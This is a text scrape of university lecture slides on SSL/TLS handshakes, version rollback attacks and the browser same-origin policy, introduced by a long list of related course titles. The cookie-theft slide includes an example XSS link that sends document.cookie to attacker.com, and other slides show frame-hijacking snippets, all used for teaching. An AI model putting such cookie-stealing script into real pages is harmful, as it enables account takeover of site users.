Web Security [SSL/TLS and Browser Security Model]

Similar documents
CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Crypto meets Web Security: Certificates and SSL/TLS

CS 5450 HTTP. Vitaly Shmatikov

Web Security: Loose Ends

Running Remote Code is Risky. Why Study Browser Security. Browser Sandbox. Threat Models. Security User Interface.

s642 web security computer security adam everspaugh

Information Security CS 526 Topic 8

Web Security: Web Application Security [continued]

Web Security: Web Application Security [continued]

Information Security CS 526 Topic 11

0x1A Great Papers in Computer Security

CSE 484 / CSE M 584: Computer Security and Privacy. Usable Security. Fall Franziska (Franzi) Roesner

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

CS155. *Original slides were created by Prof. Dan Boneh

s642 web security computer security adam everspaugh

RKN 2015 Application Layer Short Summary

Web Security: Cross-Site Attacks

Web Security. advanced topics on SOP. Yan Huang. Credits: slides adapted from Stanford and Cornell Tech

Browser Security Model

Web Security: XSS; Sessions

Web Security, Part 2

Secure Frame Communication in Browsers Review

Cryptography: Symmetric Encryption [continued]

(Continue) Cryptography + (Back to) Software Security

CSE 484 / CSE M 584: Computer Security and Privacy. Anonymity Mobile. Autumn Tadayoshi (Yoshi) Kohno

Computer and Network Security

P2_L12 Web Security Page 1

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

LECT 8 WEB SECURITY BROWSER SECURITY. Repetition Lect 7. WEB Security

Cryptography [Symmetric Encryption]

WEB SECURITY: XSS & CSRF

CIS 5373 Systems Security

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

CS526: Information security

Web Applica+on Security

Web basics: HTTP cookies

Web basics: HTTP cookies

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

Information Security CS 526

CIS 551 / TCOM 401 Computer and Network Security. Spring 2008 Lecture 24

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Cryptography: Symmetric Encryption (finish), Hash Functions, Message Authentication Codes

Cryptography: Symmetric Encryption (finish), Hash Functions, Message Authentication Codes

Web Security. CS642: Computer Security. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Cryptography (Overview)

Lecture 6: Web Security CS /17/2017

Cryptography: Symmetric Encryption (finish), Hash Functions, Message Authentication Codes

OSI Session / presentation / application Layer. Dr. Luca Allodi - Network Security - University of Trento, DISI (AA 2015/2016)

Some Facts Web 2.0/Ajax Security

Browser Security Model

NET 311 INFORMATION SECURITY

Web Security II. Slides from M. Hicks, University of Maryland

Uniform Resource Locators (URL)

CSE392/ISE331. Web Security Goals & Workings of the Web. Nick Nikiforakis

Software Security: Buffer Overflow Defenses

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Computer Security CS 426 Lecture 41


last time: command injection

Browser Security Model

CIS 4360 Secure Computer Systems XSS

Robust Defenses for Cross-Site Request Forgery

Software Security: Misc and Principles

Security. SWE 432, Fall 2017 Design and Implementation of Software for the Web

Browser code isolation

Web Security. CS642: Computer Security. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Web Application Security. Philippe Bogaerts

Lecture 9a: Sessions and Cookies

Third-Party Tracking on the Web

CSCE 813 Internet Security Case Study II: XSS

Robust Defenses for Cross-Site Request Forgery

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies

Match the attack to its description:

Combating Common Web App Authentication Threats

Advanced Web Technology 10) XSS, CSRF and SQL Injection

CS 494/594 Computer and Network Security

CS 161 Computer Security

Cryptography (cont.)

CSE484 Final Study Guide

Evaluating the Security Risks of Static vs. Dynamic Websites

JOE WIPING OUT CSRF

CSCD 303 Essential Computer Security Fall 2018

Data Security and Privacy. Topic 14: Authentication and Key Establishment

MWR InfoSecurity Advisory. 26 th April Elastic Path Administrative. Quit. Session Hijacking through Embedded XSS

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

Robust Defenses for Cross-Site Request Forgery Review

ICS 351: Today's plan. web scripting languages HTTPS: SSL and TLS certificates cookies DNS reminder

User Authentication + Other Human Aspects

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

CS 142 Winter Session Management. Dan Boneh

Announcements. Schedule. Homework 1 was due on Monday... quesgons? Homework 2 will be assigned as soon as I can

COMP9321 Web Application Engineering

Internet security and privacy

CS 161 Computer Security

WHY CSRF WORKS. Implicit authentication by Web browsers

Web Security Symmetric Encryption & Authentication

Auth. Key Exchange. Dan Boneh

Transcription:

CSE 484 / CSE M 584: Computer Security and Privacy Web Security [SSL/TLS and Browser Security Model] Fall 2017 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...

Keys for People: Keybase Basic idea: Rely on existing trust of a person s ownership of other accounts (e.g., Twitter, GitHub, website) Each user publishes signed proofs to their linked account https://keybase.io/ 11/1/17 CSE 484 / CSE M 584 - Fall 2017 2

SSL/TLS Secure Sockets Layer and Transport Layer Security protocols Same protocol design, different crypto algorithms De facto standard for Internet security The primary goal of the TLS protocol is to provide privacy and data integrity between two communicating applications Deployed in every Web browser; also VoIP, payment systems, distributed systems, etc. 11/1/17 CSE 484 / CSE M 584 - Fall 2017 3

TLS Basics TLS consists of two protocols Familiar pattern for key exchange protocols Handshake protocol Use public-key cryptography to establish a shared secret key between the client and the server Record protocol Use the secret symmetric key established in the handshake protocol to protect communication between the client and the server 11/1/17 CSE 484 / CSE M 584 - Fall 2017 4

Basic Handshake Protocol ClientHello C Client announces (in plaintext): Protocol version it is running Cryptographic algorithms it supports Fresh, random number S 11/1/17 CSE 484 / CSE M 584 - Fall 2017 5

Basic Handshake Protocol C, version c, suites c, N c ServerHello C Server responds (in plaintext) with: Highest protocol version supported by both the client and the server Strongest cryptographic suite selected from those offered by the client Fresh, random number S 11/1/17 CSE 484 / CSE M 584 - Fall 2017 6

Basic Handshake Protocol C, version c, suites c, N c version s, suite s, N s, ServerKeyExchange C Server sends his public-key certificate containing either his RSA, or his Diffie-Hellman public key (depending on chosen crypto suite) S 11/1/17 CSE 484 / CSE M 584 - Fall 2017 7

Basic Handshake Protocol C, version c, suites c, N c version s, suite s, N s, certificate, ServerHelloDone C ClientKeyExchange S The client generates secret key material and sends it to the server encrypted with the server s public key (if using RSA) 11/1/17 CSE 484 / CSE M 584 - Fall 2017 8

Basic Handshake Protocol C, version c, suites c, N c version s, suite s, N s, certificate, ServerHelloDone C {Secret c } PKs if using RSA C and S share secret key material (secret c ) at this point switch to keys derived from secret c, N c, N s switch to keys derived from secret c, N c, N s S Finished Finished Record of all sent and received handshake messages 11/1/17 CSE 484 / CSE M 584 - Fall 2017 9

Core SSL 3.0 Handshake C, version c =3.0, suites c, N c version s =3.0, suite s, N s, certificate, ServerHelloDone C {Secret c } PKs if using RSA C and S share secret key material (secret c ) at this point switch to keys derived from secret c, N c, N s switch to keys derived from secret c, N c, N s S Finished Finished 11/1/17 CSE 484 / CSE M 584 - Fall 2017 10

Version Rollback Attack C, version c =2.0, suites c, N c Server is fooled into thinking he is communicating with a client who supports only SSL 2.0 Version s =2.0, suite s, N s, certificate, ServerHelloDone C {Secret c } PKs if using RSA S C and S end up communicating using SSL 2.0 (weaker earlier version of the protocol that does not include Finished messages) 11/1/17 CSE 484 / CSE M 584 - Fall 2017 11

Chosen-Protocol Attacks Why do people release new versions of security protocols? Because the old version got broken! New version must be backward-compatible Not everybody upgrades right away Attacker can fool someone into using the old, broken version and exploit known vulnerability Similar: fool victim into using weak crypto algorithms Defense is hard: must authenticate version in early designs Many protocols had version rollback attacks SSL, SSH, GSM (cell phones) 11/1/17 CSE 484 / CSE M 584 - Fall 2017 12

Version Check in SSL 3.0 C, version c =3.0, suites c, N c C Embed version number into secret {version c, secret c } PKs version s =3.0, suite s, N s, certificate for PK s, ServerHelloDone Check that received version is equal to the version in ClientHello S C and S share secret key material secret c at this point switch to key derived from secret c, N c, N s switch to key derived from secret c, N c, N s 11/1/17 CSE 484 / CSE M 584 - Fall 2017 13

Browser Security Model 11/1/17 CSE 484 / CSE M 584 - Fall 2017 14

Big Picture: Browser and Network Browser OS Hardware request reply website Network 11/1/17 CSE 484 / CSE M 584 - Fall 2017 15

HTTP: HyperText Transfer Protocol Used to request and return data Methods: GET, POST, HEAD, Stateless request/response protocol Each request is independent of previous requests Statelessness has a significant impact on design and implementation of applications Evolution HTTP 1.0: simple HTTP 1.1: more complex 11/1/17 CSE 484 / CSE M 584 - Fall 2017 16

HTTP Request Method File HTTP version Headers GET /default.asp HTTP/1.0 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Connection: Keep-Alive If-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT Blank line Data none for GET 11/1/17 CSE 484 / CSE M 584 - Fall 2017 17

HTTP Response HTTP version Status code Reason phrase Headers HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Content-Length: 2543 Data <HTML> Some data... blah, blah, blah </HTML> 11/1/17 CSE 484 / CSE M 584 - Fall 2017 18

Website Storing Info in Browser A cookie is a file created by a website to store information in the browser Browser POST login.cgi username and pwd HTTP Header: Set-cookie: NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (send only over HTTPS) Server If expires = NULL, this session only Browser GET restricted.html Cookie: NAME=VALUE Server HTTP is a stateless protocol; cookies add state 11/1/17 CSE 484 / CSE M 584 - Fall 2017 19

What Are Cookies Used For? Authentication The cookie proves to the website that the client previously authenticated correctly Personalization Helps the website recognize the user from a previous visit Tracking Follow the user from site to site; learn his/her browsing behavior, preferences, and so on 11/1/17 CSE 484 / CSE M 584 - Fall 2017 20

Two Sides of Web Security Web browser Responsible for securely confining Web content presented by visited websites Web applications Online merchants, banks, blogs, Google Apps Mix of server-side and client-side code Server-side code written in PHP, Ruby, ASP, JSP runs on the Web server Client-side code written in JavaScript runs in the Web browser Many potential bugs: XSS, XSRF, SQL injection 11/1/17 CSE 484 / CSE M 584 - Fall 2017 21

All of These Should Be Safe Safe to visit an evil website Safe to visit two pages at the same time Safe delegation 11/1/17 CSE 484 / CSE M 584 - Fall 2017 22

Where Does the Attacker Live? Browser OS Malware Hardware attacker request Network attacker reply website Web Network attacker 11/1/17 CSE 484 / CSE M 584 - Fall 2017 23

Web Attacker Controls a malicious website (attacker.com) Can even obtain an SSL/TLS certificate for his site User visits attacker.com why? Phishing email, enticing content, search results, placed by an ad network, blind luck Attacker has no other access to user machine! Variation: iframe attacker An iframe with malicious content included in an otherwise honest webpage Syndicated advertising, mashups, etc. 11/1/17 CSE 484 / CSE M 584 - Fall 2017 24

HTML and JavaScript <html> <p> The script on this page adds two numbers <script> var num1, num2, sum num1 = prompt("enter first number") num2 = prompt("enter second number") sum = parseint(num1) + parseint(num2) alert("sum = " + sum) </script> </html> Browser receives content, displays HTML and executes scripts A potentially malicious webpage gets to execute some code on user s machine! 11/1/17 CSE 484 / CSE M 584 - Fall 2017 25

Browser Sandbox Goal: safely execute JavaScript code provided by a website No direct file access, limited access to OS, network, browser data, content that came from other websites Same origin policy Can only access properties of documents and windows from the same domain, protocol, and port 11/1/17 CSE 484 / CSE M 584 - Fall 2017 26

Same-Origin Policy Website origin = (scheme, domain, port) [Example thanks to Wikipedia.] 11/1/17 CSE 484 / CSE M 584 - Fall 2017 27

Same-Origin Policy is Subtle! Some examples of how messy it gets in practice Browsers don t (or didn t) always get it right... We ll talk about: DOM / HTML Elements Navigation Cookie Reading Cookie Writing Iframes vs. Scripts 11/1/17 CSE 484 / CSE M 584 - Fall 2017 28

Same-Origin Policy: DOM Only code from same origin can access HTML elements on another site (or in an iframe). www.example.com www.evil.com www.example.co m/iframe.html www.example.co m/iframe.html www.example.com (the parent) can access HTML elements in the iframe (and vice versa). www.evil.com (the parent) cannot access HTML elements in the iframe (and vice versa). 11/1/17 CSE 484 / CSE M 584 - Fall 2017 29

Problem: Who Can Navigate a Frame? awglogin window.open("https://www.attacker.com/...", window.open("https://www.google.com/...") "awglogin") If bad frame can navigate sibling frames, attacker gets password! 11/1/17 CSE 484 / CSE M 584 - Fall 2017 30

Problem: Gadget Hijacking in Mashups top.frames[1].location = "http:/www.attacker.com/... ; top.frames[2].location = "http:/www.attacker.com/... ;... 11/1/17 CSE 484 / CSE M 584 - Fall 2017 31

Problem: Gadget Hijacking in Mashups Solution: Modern browsers only allow a frame to navigate its descendent frames 11/1/17 CSE 484 / CSE M 584 - Fall 2017 32

Same-Origin Policy: Cookies For cookies: Only code from same origin can read/write cookies associated with an origin. Can be set via Javascript (document.cookie= ) or via Set-Cookie header in HTTP response. Can narrow to subdomain/path (e.g., http://example.com can set cookie scoped to http://account.example.com/login.) (Caveats soon!) Secure cookie: send only via HTTPS. HttpOnly cookie: can t access using JavaScript. 11/1/17 CSE 484 / CSE M 584 - Fall 2017 33

Same-Origin Policy: Cookie Reading First-party cookie: belongs to top-level domain. Third-party cookie: belongs to domain of embedded content. www.bar.com www.bar.com s cookie (1 st party) Bar s Server www.foo.com www.foo.com s cookie (3 rd party) Foo s Server 11/1/17 CSE 484 / CSE M 584 - Fall 2017 34

Same Origin Policy: Cookie Writing domain: any domain suffix of URL-hostname, except top-level domain (TLD) ü ü Which cookies can be set by login.site.com? allowed domains login.site.com.site.com disallowed domains user.site.com othersite.com.com login.site.com can set cookies for all of.site.com but not for another site or TLD Problematic for sites like.washington.edu path: anything û û û 11/1/17 CSE 484 / CSE M 584 - Fall 2017 35

Problem: Who Set the Cookie? Alice logs in at login.site.com login.site.com sets session-id cookie for.site.com Alice visits evil.site.com Overwrites.site.com session-id cookie with session-id of user badguy -- not a violation of SOP! Alice visits cse484.site.com to submit homework cse484.site.com thinks it is talking to badguy Problem: cse484.site.com expects session-id from login.site.com, cannot tell that session-id cookie has been overwritten by a sibling domain 11/1/17 CSE 484 / CSE M 584 - Fall 2017 36

Problem: Path Separation is Not Secure Cookie SOP: path separation When the browser visits x.com/a, it does not send the cookies of x.com/b This is done for efficiency, not security! DOM SOP: no path separation A script from x.com/a can read DOM of x.com/b <iframe src= x.com/b"></iframe> alert(frames[0].document.cookie); 11/1/17 CSE 484 / CSE M 584 - Fall 2017 37

Same-Origin Policy: Scripts When a website includes a script, that script runs in the context of the embedding website. www.example.com <head> <script src= http://otherdoma in.com/library.js"></ script> </head> The code from http://otherdomain.com can access HTML elements and cookies on www.example.com. If code in the script sets a cookie, under what origin will it be set? 11/1/17 CSE 484 / CSE M 584 - Fall 2017 38

Cookie Theft Cookies often contain authentication token Stealing such a cookie == accessing account Cookie theft via malicious JavaScript <a href="#" onclick="window.location='http://attacker.com/sto le.cgi?cookie= +document.cookie; return false;">click here!</a> Cookie theft via network eavesdropping Cookies included in HTTP requests One of the reasons HTTPS is important! 11/1/17 CSE 484 / CSE M 584 - Fall 2017 39

Firesheep https://codebutler.github.io/firesheep/ 11/1/17 CSE 484 / CSE M 584 - Fall 2017 40

Cross-Origin Communication? Websites can embed scripts, images, etc. from other origins. But: AJAX requests (aka XMLHttpRequests) are not allowed across origins. On example.com: <script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = handlestatechange; // Elsewhere xhr.open("get", https://bank.com/account_info, true); xhr.send(); </script> 11/1/17 CSE 484 / CSE M 584 - Fall 2017 41

Cross-Origin Communication? Websites can embed scripts, images, etc. from other origins. But: AJAX requests (aka XMLHttpRequests) are not allowed across origins. Why not? Browser automatically includes cookies with requests (i.e., user credentials are sent) Caller can read returned data (clear SOP violation) 11/1/17 CSE 484 / CSE M 584 - Fall 2017 42

Allowing Cross-Origin Communication Domain relaxation If two frames each set document.domain to the same value, then they can communicate E.g. www.facebook.com, facebook.com, and chat.facebook.com Must be a suffix of the actual domain Access-Control-Allow-Origin: <list of domains> Specifies one or more domains that may access DOM Typical usage: Access-Control-Allow-Origin: * HTML5 postmessage Lets frames send messages to each other in controlled fashion Unfortunately, many bugs in how frames check sender s origin 11/1/17 CSE 484 / CSE M 584 - Fall 2017 43